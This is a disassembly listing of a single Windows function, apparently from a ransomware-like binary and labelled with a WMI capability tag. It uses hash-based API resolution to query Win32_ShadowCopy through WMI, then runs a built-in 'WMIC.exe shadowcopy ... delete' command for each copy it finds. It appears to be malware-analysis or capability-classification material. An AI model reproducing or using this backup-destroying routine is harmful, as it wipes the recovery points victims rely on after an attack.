Function at 0x4038e0
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x880
mov eax, dword [0x41a050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x41d520]
push esi
mov ecx, dword [eax + 0x11c]
push edi
test ecx, ecx
jne 0x40394a
push str.Ole32.dll
mov dword [ebp - 0x864], ecx
call dword [0x41d57c]
test eax, eax
je 0x40393d
lea ecx, [ebp - 0x864]
push ecx
mov edx, 0x2bdbdf4e
mov ecx, eax
call fcn.00401a20
mov ecx, dword [ebp - 0x864]
sub ecx, 2
mov dword [ebp - 0x864], ecx
jmp 0x40393f
xor ecx, ecx
mov eax, dword [0x41d520]
mov dword [eax + 0x11c], ecx
push 0
push 0
call ecx
test eax, eax
js 0x403b28
sub esp, 0x1c
call fcn.004034a0
test eax, eax
js 0x403b23
mov eax, dword [0x41d520]
mov dword [ebp - 0x84c], 0
mov ecx, dword [eax + 0x110]
test ecx, ecx
jne 0x4039c7
push str.Ole32.dll
mov dword [ebp - 0x860], ecx
call dword [0x41d57c]
test eax, eax
je 0x4039ba
lea ecx, [ebp - 0x860]
push ecx
mov edx, 0xb32feeec
mov ecx, eax
call fcn.00401a20
mov ecx, dword [ebp - 0x860]
sub ecx, 2
mov dword [ebp - 0x860], ecx
jmp 0x4039bc
xor ecx, ecx
mov eax, dword [0x41d520]
mov dword [eax + 0x110], ecx
lea eax, [ebp - 0x84c]
push eax
push 0x417234
push 1
push 0
push 0x417304
call ecx
mov eax, dword [0x41d520]
mov dword [ebp - 0x854], 0
mov ecx, dword [eax + 0x4c]
test ecx, ecx
jne 0x403a37
push str.Kernel32.dll
mov dword [ebp - 0x85c], ecx
call dword [0x41d57c]
test eax, eax
je 0x403a2d
lea ecx, [ebp - 0x85c]
push ecx
mov edx, 0xdf1af05e
mov ecx, eax
call fcn.00401a20
mov ecx, dword [ebp - 0x85c]
sub ecx, 2
mov dword [ebp - 0x85c], ecx
jmp 0x403a2f
xor ecx, ecx
mov eax, dword [0x41d520]
mov dword [eax + 0x4c], ecx
lea eax, [ebp - 0x844]
push eax
call ecx
cmp word [ebp - 0x844], 9
jne 0x403abd
lea eax, [ebp - 0x854]
push eax
push 0x417274
push ecx
mov ecx, 0x417314
call fcn.004033a0
test eax, eax
js 0x403b23
mov ecx, str.__ProviderArchitecture
call fcn.00403520
lea ecx, [ebp - 0x820]
mov esi, eax
call fcn.00403590
mov ecx, dword [ebp - 0x854]
mov eax, 3
mov word [ebp - 0x820], ax
lea eax, [ebp - 0x820]
push eax
push 0
mov dword [ebp - 0x818], 0x40
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x20]
lea ecx, [ebp - 0x820]
mov esi, eax
call fcn.00403600
test esi, esi
js 0x403b23
mov ecx, str.ROOTCIMV2
mov dword [ebp - 0x848], 0
call fcn.00403520
mov ecx, dword [ebp - 0x84c]
lea esi, [ebp - 0x848]
mov edx, dword [ecx]
push esi
push dword [ebp - 0x854]
push 0
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
test eax, eax
js 0x403b17
mov ecx, dword [ebp - 0x848]
sub esp, 0x18
call fcn.00403420
test eax, eax
jns 0x403b3a
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call fcn.00403330
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409f35
mov esp, ebp
pop ebp
ret
mov ecx, 0x4175fc
call fcn.00403520
mov ecx, str.SELECT__FROM_Win32_ShadowCopy
mov esi, eax
call fcn.00403520
mov ecx, dword [ebp - 0x848]
lea edi, [ebp - 0x850]
push edi
push 0
push 0x30
push eax
mov dword [ebp - 0x850], 0
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
jns 0x403b8e
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84c]
jmp 0x403ce5
mov ecx, dword [ebp - 0x850]
mov dword [ebp - 0x868], 0
mov dword [ebp - 0x80c], 0
test ecx, ecx
je 0x403cb7
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ecx]
lea edx, [ebp - 0x80c]
push edx
lea edx, [ebp - 0x868]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x80c], 0
je 0x403cb7
mov eax, dword [ebp - 0x868]
push 0
mov ecx, dword [eax]
push 0
lea edx, [ebp - 0x880]
push edx
push 0
push 0x417644
push eax
call dword [ecx + 0x10]
mov ecx, 0x800
lea eax, [ebp - 0x808]
mov byte [eax], 0
lea eax, [eax + 1]
dec ecx
jne 0x403c04
push dword [ebp - 0x878]
lea eax, [ebp - 0x808]
push str.cmd.exe__c_C:WindowsSystem32wbemWMIC.exe_shadowcopy_where__ID_s__delete
push eax
call esi
mov eax, dword [0x41d520]
add esp, 0xc
mov ecx, dword [eax + 0x20]
test ecx, ecx
jne 0x403c73
push str.Kernel32.dll
mov dword [ebp - 0x858], ecx
call dword [0x41d57c]
test eax, eax
je 0x403c69
lea ecx, [ebp - 0x858]
push ecx
mov edx, 0x1972bf90
mov ecx, eax
call fcn.00401a20
mov ecx, dword [ebp - 0x858]
sub ecx, 2
mov dword [ebp - 0x858], ecx
jmp 0x403c6b
xor ecx, ecx
mov eax, dword [0x41d520]
mov dword [eax + 0x20], ecx
lea eax, [ebp - 0x86c]
push eax
call ecx
lea ecx, [ebp - 0x808]
call fcn.00403670
mov ecx, dword [ebp - 0x86c]
call fcn.00402f30
lea ecx, [ebp - 0x880]
call fcn.00403600
mov eax, dword [ebp - 0x868]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x850]
test ecx, ecx
jne 0x403bb6
mov ecx, dword [ebp - 0x854]
test ecx, ecx
je 0x403cc7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x850]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.00403330
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00409f35
mov esp, ebp
pop ebp
ret